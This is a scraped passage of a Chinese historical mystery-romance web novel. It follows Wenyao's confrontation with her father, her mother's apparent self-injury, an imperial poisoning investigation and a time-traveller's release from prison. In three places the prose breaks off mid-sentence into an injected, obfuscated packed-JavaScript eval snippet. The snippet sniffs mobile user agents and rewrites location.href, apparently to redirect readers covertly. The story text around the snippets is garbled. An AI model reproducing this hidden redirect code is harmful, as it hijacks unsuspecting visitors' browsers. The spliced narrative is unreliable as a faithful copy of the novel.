如此两家之间越发亲厚,祝正和因寻回古籍有功升为太史丞,温窈与祝清衡的“娃娃亲”便是在祝正和与温长风酒过三巡时第一次被提及。 可惜后来…… 温窈长睫轻颤,有意忽略那段记忆。 自那之后,直到两人成婚前,祝清衡仿佛都无法确定温窈的心意,只能卑微地乞求能够抱一抱她,就像眼下这般。 “窈窈,”似是察觉到她出神,祝清衡捧起她的脸,眸色在暖黄的烛光下十分温柔,声音如同浸了酒般醉人,“你是爱我的,对吗?” 温窈覆住他的手背,还未说话男人已俯下身吻住她的唇。 “如果你能放下过去……窈窈……”迷蒙间,男人喘//息着回答了那日马车上温窈的问题。 这是三年来他第一次恳求。 “为我生个孩子吧。” …… “少夫人,”徐嬷嬷照例送来汤药,只是这次还送来了些别的,“夫人说,您要回娘家总不能空着手,这些是夫人从府里库房特地选的,您带上吧。” “劳烦徐嬷嬷替我谢过母亲。” 自上次温窈说过那番话后,徐嬷嬷虽表面看着别无两样,但谁都瞧得出她看青云院的人鼻子不是鼻子、眼睛不是眼睛的,偏偏祝清衡整颗心都歪在这位少夫人身上,就是臧翡都因此吃过瘪,徐嬷嬷更不想惹火上身。 温窈命琉锦提前给丞相府送了拜帖,掐着时间动身。 “姑娘,”如今 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温窈待她们姊妹很好,可不意味着她们可以没有分寸地质疑她的决定。 温窈弯了弯眼,轻声道:“无妨。” 她视线落在显然后悔问出口的琉银身上,轻巧反问,“那你觉得呢?” 琉银茫然看向她。 女人循循引导,“你觉得我为何这么做?” “……姑娘嫁入太傅府后,明面上便不再参与这种事,”琉银莫名有些忐忑,“是为了避人耳目、免得落人口舌?” 温窈轻笑了一声,“是也不是。” “我不是在帮伏龙使,若那是寻常机关,他们不会大费周章来寻我。” 她习惯性地敲了敲指节,许久才道:“那张机关图,是冲着我来的。但那日若我答应了,无论是祝家还是温家,都不会轻易松口。” “机关图谁都能破,唯独不能是温窈。” 曾经的温窈天真以为,只要她的能力强悍到无可替代,便能轻而易举得到所有人的认可。 但事实告诉她,不是的。 作为一个女人,她没有资格妄议朝政、不被允许参与“男人的事”,她不会因为善解机关的天赋被任何人欣赏赞叹。 相反,他们排斥、恐惧、憎恶。 而温窈作为一朝丞相的独女,更加不能离经叛道。 她只能做温驯的事,比如吟诗作画、抚琴弈棋;只能有柔和的传名,比如所谓的长安第一才女。 她要像大兖世世代代的女人一样,久居深闺、相夫教子。 如此了却一生,便是她作为女子所有的价值。 琉银在她身边那么多年,自然明白她话里指的什么,眼角已濡湿一片,愈发后悔自己挑起了温窈的伤心事。 温窈却看不出感伤,甚至替琉银擦了眼泪,有意转移她的注意,“殷藏丸取回来了么?” 琉银微愣,旋即重重地点了点头。 温窈说,“七日后给我罢。” 琉锦的声音从马车外传来,“姑娘,是药三分毒,您……” “还没到时候,”温窈下意识抚了抚小腹,“至少要等一切明了。” 殷藏丸,青山符氏所制的避子丹,每三月服一枚,可不孕子。 因此即便她日日喝下臧翡送来的生子汤,只要她不停下服用殷藏丸,就不可能有孩子。 5. 共知心是水 薄岑身死的第七日,大理寺接到顺和坊百姓报案。 据说坊中近两日总似有若无地传出腥臭味,却寻不到来源,直到有老者叫人报官,他们才意识到—— 坊中死人了。 祝清衡带人冲进那间狭窄逼仄的屋舍时,人已经死了七日。 大理寺的衙役在简陋得勉强称得上是住处的房里,翻找出了被夹藏在书册里的毒药。 很巧,正是他们苦寻无果的、杀死薄岑的毒药。 深秋渐冬,但屋舍里的尸体暴露出的腐烂程度却十分严重。 大理寺的仵作查验之后,确定这个不明身份的死者,死于十月廿二亥时,薄岑死去四个时辰之后。 但他并非与薄岑一样死于奇毒,而是相对常见的砒//霜。 “大人,”衙役用干净的布帕裹着东西递给祝清衡,“此物是从他里衣里搜出来的。” 腐烂过度的尸体爬满了蛆虫,衣物早被尸水浸透了。祝清衡拧了下眉,自手边拾起一支毛笔将其挑开。 明明只是一纸发黄的函封,却令在场所有人变了脸色。 …… 丞相府的人提前得了拜帖,远远瞧见太傅府的马车便有人上前相迎。 温窈听见琉锦对马车外的人道:“何管家。” 与此同时琉银掀开帷裳,小心扶着她下了马车。 何管家已年逾半百,从温窈出生时就在温长风身边做事。山辛夷长年身体羸弱,而温长风这么多年不曾纳妾,又忙于公务,因此府中杂事全交由何管家打理。 若是没有何泉,恐怕丞相府很难这般井井有条。 “姑娘可还安好?”何泉面容慈祥,看待温窈如同看待嫡亲的孙女亲切。 温窈却不熟络,只出于礼节对他颔了颔首,直言道:“我今日来,是有些事想问母亲。” 何泉面色不改,似是早有预料,侧身让温窈先行,“丞相在书房等您。” 她说了是来寻山辛夷的。 温窈回眸看了他一眼,两人表面维持的温和仿佛有一瞬间被打碎。 但她不再说什么,按何泉的话径直去了书房。 如果不去这一趟,温长风不可能让她见到山辛夷。 * “走吧。” 大理寺狱卒利索地打开牢房锁链,把门拉开,冲里面的人道,“凶手抓到了,大人说你的嫌疑解除了。” 柳瓷怔了怔,从破烂的草杆堆上爬起来。她在这破牢里待了整整七天,吃了二十一顿咸菜馒头,及腰的头发早已散乱,看着像只灰头土脸的仓鼠。 好在大理寺的官吏算得上人//道,没给她用传说中的酷刑,她的衣裳虽然脏了点,但半分没烂。 等走出大理寺大牢,阴湿冰冷的气味尽数被她甩到身后,取而代之的是新鲜的空气和明媚的阳光。 自由的味道。 柳瓷毫无形象地伸了个懒腰,后知后觉涌出一股劫后余生的畅快,窝在砂浆砌成的石床上睡觉产生的酸痛也一并消退了几分。 “瓷儿!” 不远处女儿家清脆的声音在唤她的名字,柳瓷眯眼瞧了半晌,从那人花花绿绿的衣裙上辨认出了她的身份。 春怡楼的牡丹? 可牡丹是楼里的姑娘,不能随意外出的。 她试探着往那女子的方向走,女人的面庞越来越清晰…… “瓷儿,”牡丹赶忙迎上来,细瞧见她这副模样登时泪洒,“你受苦了呜呜呜……” 柳瓷瞟了一眼她身后虎视眈眈的老鸨,有些心虚地扯了扯嘴角。 要说她摊上这桩官司,倒也不能完全怪牡丹。虽说的确是牡丹告诉她那位薄岑公子只是看起来是个花心浪荡子,实则到青楼里去都只听曲她才将主意打到了薄岑头上的,可到底是她自己的选择才招来了牢狱之灾。 那日薄岑本来点的是春怡楼的另一位姑娘青荷,但当时青荷不知怎的宁愿和老鸨闹僵关系也不愿意接客,老鸨要让旁的姑娘去,是柳瓷自告奋勇…… 她忽然愣住,目光转落在仍哭哭啼啼的牡丹身上。 柳瓷在大兖第一次睁开眼时,人就在春怡楼了。但那时她被关在柴房里,估计是原主逃难而来,不慎落在了老鸨手里却不愿做烟花女子,因此被老鸨囚禁威胁。 柳瓷魂穿而来后,为了温饱和老鸨达成了交易——她在现代虽是中医,不过多少会一些小把戏。大兖不是她所学过历史的任何一个朝代,她只能靠自己浅薄的积累,凭一个小魔术换取了离开柴房的机会。 在老鸨看来,会把戏的戏班子大兖一抓一把,可能将把戏融进春怡楼所需、招引来更多客人的人,并不多得。 她同意了柳瓷的合作,只要柳瓷能帮她给姑娘们增添“趣味儿”,她便允许柳瓷只做清倌。 柳瓷解决生存问题后,在春怡楼交的第一个朋友,就是牡丹。 牡丹看着娇娇弱弱,身世更是十分悲惨。她告诉柳瓷,她的父母为了给她的弟弟谋一门好差事,无情地将她卖进了春怡楼。 她从十四岁开始接客,如今已十八了。 然而她在春怡楼的待遇始终一般,虽叫牡丹,相貌却是小家碧玉,在美貌如云的姑娘里,她也不是最讨客人喜欢的。 人人都爱捧高踩低,柳瓷之前她甚至没有知心朋友。 其实沦落青楼的姑娘,哪一个都不是身世好的,可牡丹瞧着实在单纯,在柳瓷未展露任何技能、明面上没有半分利用之处时也对她笑语相向。 因此只要柳瓷有了新主意,第一个想到的就是她。 哪怕老鸨对此颇有微词,也架不住柳瓷明里暗里的偏心。 两人渐渐形影不离、最为要好。柳瓷从一开始就想离开春怡楼,牡丹是知道的。 她与老鸨达成协议——楼里的姑娘们但凡因着她的巧谋得到了客人的打赏,其中赏钱分她二成。 而她要走,要么有人花大价钱赎她,要么她能一次性拿出五十两。 她到春怡楼两月,加上客人的打赏,不过攒了三两而已。 柳瓷急需钱,除了弹琴和分成,她出不了春怡楼就没有其他赚钱路子。期间她倒是抱着试试的态度写过两张字隐名托人拿去书坊卖,显然杯水车薪。 就在这时,牡丹“贴心”地告诉她薄岑是个只听曲儿的冤大头。 她毫无防备地信了。 薄岑点名要带青荷出楼,本不合规矩,奈何给的银两多。青荷死也不去,其他姑娘也无动于衷……或者说是,退避三舍。 唯有柳瓷傻子似的上赶着去。薄岑人就在那,老鸨除了让她跟人走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181865|165315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还能说什么? 也就是薄岑将她带回去后忽有要事缠身,直到次日将近午时才回去,在她弹完一首曲子后,薄岑就死了。 如果他那天没有被别的事打断,如果他没有死,柳瓷要面对的,恐怕不止简单的大理寺牢房七日游。 她忘了,她不在现代。如今她身处的朝代,是一个随时随地会吃人的地方。 牡丹还在抽噎,像是猛然意识到周遭毫无征兆地沉寂,抬起眼时对上柳瓷黑沉的、没有情绪的眸子。 ……她察觉了? 不等牡丹分辨,柳瓷已转过视线,对着从头到尾一言不发的老鸨道:“曹妈妈,对不……抱歉。” 曹梦丽眼神在脏兮兮的柳瓷和花蝴蝶般的牡丹身上逡巡一圈,冷哼了一声,“上马车吧。” 竟然还有马车坐。柳瓷受宠若惊。 半刻钟后,她抓着曹梦丽的胳膊狠狠干呕了两声,惹来牡丹惊愕的视线和曹妈妈嫌弃的脸色。 古代这车……呕…… 在现代社会从未晕过车的柳瓷在心里宣布,她现在晕车了。 * 整整一个时辰。 温长风稳如泰山地坐在书案前落笔写着什么,他写了一个时辰,温窈便在案前站了一个时辰。 琉锦和琉银被拦在书房外,屋中只有父女二人。 温窈的眉眼神态和他无甚相像,唯一谈得上像的,约莫是两人如出一辙的漠然神情。 兴许是父亲的架子摆够了,温长风终于放下笔,掀了掀眼皮,“你如今是成了婚的人,动不动回娘家,让姻家的人怎么想?” 温窈淡淡道:“女儿成婚三载,除去该回门的日子,唯有今日破例而已。” “唯有今日破例,”温长风缓慢地重述她的话,男人有些浑浊的眼珠自下而上移动,皮笑肉不笑道,“有些事,有第一回便会有第二回。” “有第二回就会有第三回。”他甚至不给温窈再开口的机会,冷淡道,“跪着吧,什么时候跪清醒了,什么时候再去见你母亲。” 命令下了,他无所谓温窈的反应,收了案上的纸折,离开书房。 踏出书房的门槛前,中年男人停步,紧接着他不闻起伏的声音没有避讳地传进屋内,是在吩咐何泉,“两个时辰后叫她起来,期间不许膝下垫任何事物、不许送吃食茶水,之后随她做什么。” 其语气疏寡阴冷至极,仿佛跪在屋中的不是他的亲生女儿,只是一个无关紧要的人。 随着何泉应承的声音落下,书房的门合拢,敛去了如束光亮。 她不能坐、不能站,温长风说跪着,就是跪着。 丞相府遍地是他的眼睛,如若温窈有半分违背他的命令,没有人会包庇她,包括看起来对她十分和善的何泉。 温长风时刻分明地只让她跪两个时辰,不是因为怜惜,亦不是因为分寸。 而是两个时辰后,是祝清衡正常下值的时间。 空寂的书房里,静得连温窈的呼吸也能听得清晰。 她早已习惯了,既做了回丞相府的决定,就相当于做好了承担温长风惩戒的准备。 在她预料之外的,是温长风竟会为了颜面有意把握时辰。 再想来,这又的确是温长风的作风。 可笑之至。 6. 安见我非鱼 皇宫。 “禀陛下,永庆侯薄大公子之案凶手已畏罪自尽,臣等敛了他的尸身……” 啪—— 上头毫不留情将他方才递上的呈词丢到他身上,方宏山佝俯着身体一动不敢动,霎时止了声。 “整整七日。” 皇帝的声音听起来似乎还有笑意,“整整七日,方宏山,你们大理寺用了七日才查明凶手,而又一次,凶手自裁,线索尽断。” 方宏山只觉腿脚发麻,并非是跪地久了失去知觉,而是从尾脊骨一路蔓延上的寒意,叫他冷汗如雨下。 “疑点颇多的案子,在你口中说结就结,”皇帝幽幽道,“既然这大理寺卿的位子你坐得不舒坦,不如叫旁人来坐。” “陛下!”方宏山猛地抬头,仿佛没料到皇帝会这般无情轻易地就威胁要摘掉他的官帽,“微臣……微臣已竭尽全力,这两桩案子虽有共通之处,可无论是查案发之地还是走访关系,除了信和毒,再没有其余相似点……” 三月前被杀的周天辰是朝廷命官,任宫中太仆一职。 周天辰为人和善稳重,父母又是沧渚城一方大家,被推举入京的周天辰自然一路官途顺遂。而沧渚周家只有周天辰一个儿子,传闻所言他是十三年前被灭门的长孙家余孤简直荒谬至极。 再说薄岑与之是两个极端,一个整日只知道喝花酒的纨绔子弟,除去好家世,相对于周天辰,他甚至没有被杀死的价值。 两个互不相干、毫不相识,甚至秉性都天差地别的人,唯一产生的关联便是杀死他们的凶手皆已自尽,并留下了一封坦白书信。 最令人无力的是,哪怕着重去查两个凶手,竟也找不到丝毫共同点——杀死周天辰的真凶俞永,是侍奉在周天辰身边已久的仆从,俞永生在沧渚城长在沧渚城,直到周天辰入长安才是他第一次到长安来。 据俞永所留书信的供词,五月前他同周天辰一道前往长安附近的罗河镇见一位周天辰的故友,俞永却意外在那救下一失忆女子。 俞永年至二五未曾娶妻,不想对那女子生了男女之情。然那女子阴差阳错倾心了同样还未成婚的周天辰…… 恶念一起,俞永凭借多年在周天辰身边做事的优势,在三月前周天辰照例见完故友回长安的路上,支开了车夫和其他侍从,从后以尖刀偷袭周天辰。 周天辰身中十三刀,咽气后被抛尸长安中一条暗巷,到次日上朝不见人影,众人寻之无果,最终是伏龙使在已废弃的暗巷找到了他的尸身。 俞永杀了人,杀的还是自己的主子,终于后知后觉察觉悔意,自知即便逃过大理寺追查也躲不过伏龙使,于是早早备好了毒,被捕时服下,静待毒发。 而杀害薄岑之人更是无名之卒,不过是半年前与醉酒的薄岑起了冲突,便记恨至今,偶然得了那奇毒后,寻了机会故意在半夜薄岑常路过的小道上同他撞在一起,趁此在薄岑的酒壶口撒了毒。 不巧他和薄岑两次起冲突都在深夜,薄岑寻欢作乐时不爱带小厮,因此大理寺问遍了人也找不到凶手的半分线索。 若不是此人在家中服砒//霜自尽,恐怕大理寺还要花一阵功夫…… “方宏山。”皇帝不知是否听进了他的辩解,不轻不重地叫他的名字。 方宏山额角渗下一滴汗,匍身应道:“微臣在。” 谢岐眼皮耷下,问:“大理寺卿一职,你已任多久?” “回陛下,”说来说去,皇帝是打定主意要革了他的职,方宏山闭了闭眼,“自先帝在世之时,微臣便已任职。” 他顿了顿,双目紧盯着膝前的袍服,哑声道:“得先帝厚爱,微臣才能苟活至今日……若陛下心意已决,方某愿告老还乡,唯求陛下,看在多年侍奉,全方某一个颜面!” 方宏山如今已是不惑之年,出自潜周城方氏,大理寺卿的位子,是当年宣怀帝亲自点给他的。 御书房中仿佛刹那落针可闻,外间忽传来文福的报声,“陛下,祝少卿到了。” 皇帝意味不明地“呵”了一声。 方宏山心头一跳,若是皇帝不满他作为也就罢了,他背后还有方家能挡一挡,但眼下这个节骨眼,他将祝清衡召来做什么?! 可惜皇帝并不会因为他的惴惴改变任何,也不会向他解释分毫。 方宏山清楚地听见皇帝不曾犹豫道:“宣。” …… “你们在院外候着罢。”温窈面色有些苍白,唇也失了颜色,分明清瘦的背脊细细发着抖,却拂了琉锦琉银的搀扶,道,“我只进去半个时辰。” “姑娘,老爷吩咐了,您只能待一刻钟,”何泉跟在她们身后,笑吟吟道,“夫人事事皆有府中人好生照料,姑娘大可不必因此惹怒老爷。若是因为永庆侯府寿宴一事,那日夫人委实不宜参宴,并非老爷有意为之。” 看来他们心中门清,早猜出来她为什么来。 何泉见她不说话,继续道:“夫人近几日确实病得重,老爷请了太医看过,姑娘倒无须忧心;只是您进去了,夫人有时候会认不得人,恐怕会伤了姑娘。姑娘不想在下跟着,那还是看一眼便出来罢。” 温窈推门的指节微滞,何泉以为,她会和往常一般把他的话当做耳旁风。 谁让她已嫁做他人妇,这个丞相府,温长风不在之时,何泉一个外人反而才是掌握府内一切资源的人。 只要山辛夷还在丞相府,温窈便不敢造次。 何泉唇角弧度无意识弯得更深,像是藏不住尾巴的毒蛇得意地露出尖牙…… “何管家。” 他如何也没料到,今日温窈像是跪出了失心疯,竟毫无征兆地侧眸扫向他,将他未来得及收起的扭曲面容捕捉地一清二楚。 “即便我已嫁去了祝家,”温窈半分没有掩盖自己的讽意,几近刻薄道,“主子做什么,还没有你随意置喙指挥的道理。” 冷清的院落前,漆色的木门在三人眼前合上。 何泉枯树皮似的面容在温窈的背影消失后狰狞一瞬,多年假挂的温和面具分崩离析。 院内,温窈脱力般背靠着门,裙袂下的双腿不住地颤抖,无法支撑似的让她不得不滑落在地。 然而不过几息,她沉默地撑着门站起,像做过无数次那样,踉跄地走进院中。 山辛夷被安置在丞相府里最偏远的院子,或者说,是离温长风最远的院子。 她虽名义上是温长风的正妻,和温长风却早已貌合神离,沦落到如此地步。 温窈尽可能快地往山辛夷的寝房方向去。温长风没有为这间院子命名,里面有许多树,叶子掉得精光,堆叠在砖石上,盖住了渐渐发黄的野草。 她一路走进,没有一个侍女仆从,太冷清了,她听见自己轻重不一的脚步声、深浅不均的呼吸声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181866|165315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,耳边还有像女人哭泣一般的风声。 过去温长风为了面子,不论是宫宴还是各种人情往来,哪怕再不愿见到山辛夷,也会做表面功夫带她一同出席。 温窈知道山辛夷身体很差,必须每日服药温养,但只要温长风有需要,她一定会强撑病体随他去。 而这一次山辛夷没有去,不会是何泉说的“认不得人”那么简单,一定出事了。 明明是没有温长风住处一半大的院子,温窈却觉得这一路格外漫长,到山辛夷房前时不知不觉已汗意潸潸,指尖和膝盖一般轻抖着,敲响了屋门。 …… 没有。 没有人应答。 温窈猛地推开门,忽地抬眸对上一双柔和温润的眼睛。 她张了张唇,声音仿佛被喉咙封印在嗓中,艰难地挤出两个字,“阿娘。” 山辛夷笑了笑,她看起来根本没有何泉口中所说的任何症状,像温窈无数次见过的、梦过的那样,只是温柔地坐在那。 “千木死了,”山辛夷说,“温长风处置了她,是我的错,我护不住她。” 温窈有些浑噩地摇了摇头,仿佛怕打破这个幻影迟迟不敢动作,“是温长风的错。” 她出嫁之前,丞相府中只有三个亲信:千刃、千翼和千木。 她本想只带千翼走,千刃稳重能多照顾山辛夷一些,可山辛夷不愿,一定要千刃跟她走,她拗不过。 后来千刃和千翼随她进了祝家,臧翡不满两个丫鬟唤做这样的名字,才改成了琉锦和琉银。 平日里她能与山辛夷联系,便是因着千木,她想过这些时日没收到消息恐有败露,但不曾想温长风竟心狠至此,连山辛夷身边最后的人也要赶尽杀绝。 山辛夷望着她,突然天真地笑起来,犹如稚儿般,“你是谁,长得好生眼熟。” 温窈怔了怔,下意识关上屋门,隔绝了外面风草的嘈杂。 山辛夷仍在继续,“你是来找谁的,找我的吗,可是我不认识你。” 她这般说着,起身往里间走去。 温窈垂眸跟上。 山辛夷在里间的床榻边坐下,瞬间便恢复得与常人无二,低声道:“我知道你会来。” 山辛夷的演技炉火纯青,若非温窈猜到了她的用意,怕也被她骗了去,可正是知道她装疯卖傻的原因,温窈才更怔忡。 “千木死了,”温窈重复了一遍她先前的话,神色看不出有几分悲伤,“温长风发现了,所以你不能再冒险,只能装成病重不识人。你知道我在寿宴上没看到你会起疑。” “是。”山辛夷说,“你是我的孩子,我了解你。” 温窈笑出了声,眸中却是一片悲戚,“从前你为了温长风,宁愿跪下求我,也要让我隐锋藏芒,遵循世俗出嫁。” “如今你为了见我一面,却可以欺骗温长风,甚至不再在意他最看重的颜面。” “阿娘,我自诩聪明,却看不明白,你究竟想要什么。” 如果山辛夷足够清醒、足够爱她,当年就不会以命相逼,哭着疯着要她嫁给祝清衡。 可若是她足够愚昧,又何必在温窈出嫁后借千木的手暗中帮她、指点她,甚至不再把温长风看作第一位。 那她温窈到底算什么呢? 是山辛夷的孩子、维系丞相府表面和平的工具,还是可以报复温长风的刀? 7. 心似双丝网 “我想要什么……”山辛夷似是被问住了,半晌缓缓摇了摇头,“我活了三十多年,做了许多错事,你问我想要什么,眼下,我只想赎罪。” 温窈拧眉,“我不懂你的意思。” 山辛夷看着她,突兀提起,“你知道为何温长风不喜我,却只有我一个女人吗?” 不仅是只有山辛夷一人,甚至孩子也只有温窈一个。 山辛夷过去从不会同她说这些,温窈心中的不安愈发强烈,却不得不耐着性子问,“为什么?” “我与他相识于青山,他上门提亲时对山家列祖列宗发了誓,这辈子和我一生一世一双人,如若违誓,不得好死。”山辛夷说起往事,面上浮起了几分笑意,旋即笑意又被她眼底的疯狂取代,“他说出这句话的时候,我便知道,他在骗我。” 山辛夷静了静,她心知肚明温长风不会让温窈和她独处太多时间,又或者她本就不想再重述发现真相时的细节,只道:“因此,我和他成婚那日,我在他的合卺酒里下了药。” “他一日不背叛,我便日日给他解药。” 言外之意是,只要山辛夷发觉了任何不对劲的苗头,就会以此作为惩治。 “我有了你之后,温长风要卸磨杀驴,”山辛夷平静道,“不久后他就发现,他已不能人道。” 失去男人尊严的温长风起初不敢声张,私下寻了许多大夫都难以探查病根,很快他就怀疑到山辛夷身上。 为了验证他的猜测,他压下原本纳妾的念头,假意与山辛夷恩爱如初,直到温窈出生。 “我一直都知道,温长风是利用我,”山辛夷只说,“我清楚他在怀疑我,所以如他的心意,我坐实了他的猜想。” “我被送去青山,便是因为此事,是吗?” 温窈还未满月就被温长风送去青山,七岁时才回到长安——那时她外祖母告诉她,是因为温长风事务繁多,而山辛夷要养身体,只能将她托给山家照顾。 她在青山的七年,不论是温长风还是山辛夷都鲜少来信,遑论探望。两三岁时她还能对外祖母的说辞深信不疑,六七岁时,她已意识到她的存在对她的生身父母来说,轻如鸿毛。 但温长风去青山接她回长安时,外祖母说,去吧窈窈,回你该去的地方。 长安,真的是她该去的地方么? 山辛夷沉默一瞬,避而不答这个明知故问的问题,转而问:“祝清衡对你好吗?” “你费尽周折让我来此,”温窈垂下眼,“只为了说这些么?” 从温窈七岁回到丞相府的第一天起,几乎没有见过山辛夷因为不是温长风的事出过府门;温窈出嫁前一个月,温长风借口要为山辛夷养身把她安置在偏远院落,其实就是软禁。 那时温窈求过他,温长风铁石心肠,而山辛夷……仿佛甘之如饴。 如此看来,反倒让苦苦恳求的温窈更像笑话。 山辛夷眸光落在她腰间的佩囊上,依旧问:“这三年祝清衡对你好吗?” 当年山辛夷不惜丢掉脸面对温窈下跪,将匕首架在脖子上逼出鲜红刺眼的血痕,哭喊着让她答应,宛如不可理喻的疯子。 对自己的亲生孩子做到这个地步,竟只是要求她为了丈夫的面子而嫁给一个并不喜欢的男人。 温窈恨山辛夷,却恨不到看着她去死。 她明明那么恨山辛夷,恨山辛夷时有时无的爱,恨她飘忽莫名的阴晴不定、歇斯底里。 更恨山辛夷在她十岁生辰那天发现她藏匿在卧房里的、不是女子该读的书册和她偷画的机关图纸时没有生气,而是眼中含泪地捧着她的脸,说出她的窈窈天赋卓绝,将来必然能闯出一番天地这样的假话,让她满心以为,即便全长安的人都将她看作异类,至少还有山辛夷懂她。 到头来,竟又是山辛夷亲手折断了她的羽翼,期望她好好做一只笼中鸟。 温窈说:“他对我很好,会尊重我的意见和……喜好。” 昔年抱负,如今只能被叫作喜好。 山辛夷容色未变,颔首缓缓道:“是吗。” “你打算怎么做,”温窈不想在无意义的话上浪费时间,她的时间已经不多了,再拖下去恐怕温长风会直接带着何泉闯进来,“我能为你做什么?” 山辛夷没有说话,那双和温窈相似的眼睛沉静温柔地望着她,仿佛在用视线一点一点描摹她的轮廓。 温窈无端生出躁意,不管山辛夷设计她来是为了什么,只要她说出口…… 女人唇角毫无征兆地溢出血色,温窈瞳孔骤缩,跨步上前以从未有过的强硬捏开她的嘴,模糊的血肉如同尖针刺进温窈的双眼,“山辛夷!” 女人眼珠紧盯着她,竟是扯唇笑了出来。 “来人!来人!何泉!” 温窈顾不得其他,先撕下里袖压堵住她的嘴,旋即立刻冲到外间打开门,在看到何泉等人往此处赶来的身影时骤然怔在原地。 她猛地回头看向床榻上端坐的女人,老旧的屏风隔绝了两人的视线交汇,温窈却仿佛又看到了那双眼睛。 山辛夷的眼睛总是温柔的,像水;哭求她的时候那双眼睛像两湾悲戚的湖泊,唯有今日,温窈第一次在她眼里看到汹涌的—— 绝情和野望。 山辛夷让她来,不是要借她的手为自己谋利。 那是为了什么? 温窈无意识扣紧门缘,神情恍惚地看着何泉大步进去看查山辛夷的情况,支使人去叫府医。 “姑娘,今日您先回了吧。” 何泉的声音忽远忽近,温窈不知道自己有没有听清,又回了什么话。 “姑娘、姑娘?” 琉银满脸忧色地轻轻推了推她,见她眼珠动了,终于松了口气,“太傅府已到了姑娘。” 温窈眼睫颤了颤,似乎仍旧没能缓过神来。琉银愈发担心,偏生方才的事她也不敢再提,只得小心护着温窈下了马车。 温窈抬眸看清府门上的牌匾,脚下踩到青石砖上方有了一些实感,恢复了过往的神态。 天色微暗,已瞧不见日阳了。琉锦本和琉银跟在温窈身后,突然眼神一凛,扭身从府门边的矮丛里揪出一团黑影,斥道:“什么人?!” 那团黑影被琉锦一手甩出来趴在地上,怀里还抱着什么东西,哎呦呦地叫唤起来,“痛痛痛!” “天已黑了,你是什么人,在太傅府门前鬼鬼祟祟要做什么?” 琉锦可不饶他,拽着他的衣领将他拉起来,眼看又要把他往外扔,那人赶忙单手抓住琉锦的手臂,“等等等、我是好人!我是来找祝大人的!” 琉锦眯了眯眸,凭着天微弱的蒙光上下扫了他几眼,动作稍微轻柔了些,但还是把他丢到了地上,转而回到温窈身边,低声对温窈说了几句话。 地上的人离得远些便看不清脸了,温窈道:“将人扶起来吧。” 琉锦这才上前提着人肩头的衣裳把他提溜了起来。 温窈平和道:“先前不知阁下身份,侍女恐有冒犯,请见谅。” 男子幽怨地揉了揉自己的肩膀,但这事的确算他理亏,还是说:“不妨事、不妨事。” 温窈问,“阁下既是来找祝大人,不知是哪一位祝大人,又为何不直接登门?” “您……应是少夫人吧?”男子看她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不等祝清衡开口,谢岐指节在案上的薄纸上敲了敲,反问他,“俞永在周天辰身边做事已久,会写字不稀奇,那么顺安坊只能凭朝廷贴补生活、不学无术的李二狗,是怎么顺畅地、没有一个错字地写出一封陈情书,还能条理清晰三词两句就交代了所有大理寺要查的内容……祝少卿,你们当真不曾有疑么?” 谢岐连珠似的又问:“再者,俞永和李二狗留下的信所陈述措辞相似颇多,你和方宏山也半分不觉么?” 祝清衡无声攥紧了拳,偏偏谢岐所言字字在理,他和方宏山的确没有将所有疑点和线索上报。 可即便将这些告诉了谢岐,不过是无用之功—— “薄岑房中的那张机关图,是青山山家的东西。”谢岐道,“俞永和李二狗所留信上的章戳,是长安长孙家的族徽。” 他半垂下眼帘,忽地意味不明笑了一下,“朕给过你们机会,日后便莫怪朕无情。” 谢岐的黑眸如同蒙了一层灰雾,眼皮半压时总叫人看了平白觉得胆颤,“大理寺既无查凶破案之能,偌大的长安,总有人擅长。” “小窈已答应我,不会再掺和这些事!”祝清衡彷如被踩了尾巴的猫,陡然站起身,颌角似因忍耐轻微抖着,“陛下缘何还要命伏龙使去寻她?!” “臣与她成婚三载,恩爱不倦,”祝清衡情绪起伏过大,几乎喘着气压制自己的怒气,“皇上若当真为了她好,就不该再将她拉进深渊!” 谢岐眉目未动,只眸光移向书案前站着的愤恨男人,半晌缓缓道:“祝清衡,你以为你在和谁讲话?” 原本积压了许久的怨怼顷刻因一句话化为无形尘土,祝清衡咽了咽口水,终究意识到谢岐早已不是少时与他们同玩的少年郎,屈膝跪了下来,“……微臣口不择言,罪可当诛,还望陛下,海涵。” 8. 中有千千结 十一月初一。 “瓷儿,妈妈找您。” 柳瓷道了声谢,将做了一半的花样放下,起身越过那人便要往外去。 牡丹手疾眼快地拉住她的手腕,急道:“瓷儿!” 自那日她和曹妈妈去接柳瓷回春怡楼后,柳瓷就仿佛变了个人,虽仍会和她讲话,可再不像从前那样亲昵。 柳瓷要拂开她的手,“怎么了,有什么事等我回来再说吧。” 好不容易逮到一个和柳瓷搭话的机会,牡丹怎么可能放。她连着几日翻来覆去睡不好觉,脸色是脂粉也遮不住的难看,嘴角都急出了火燎子。 过去柳瓷像对亲妹妹一样对她,只对她是特别的,如今柳瓷却只把她当和春怡楼其他姑娘一样了,天差地别。 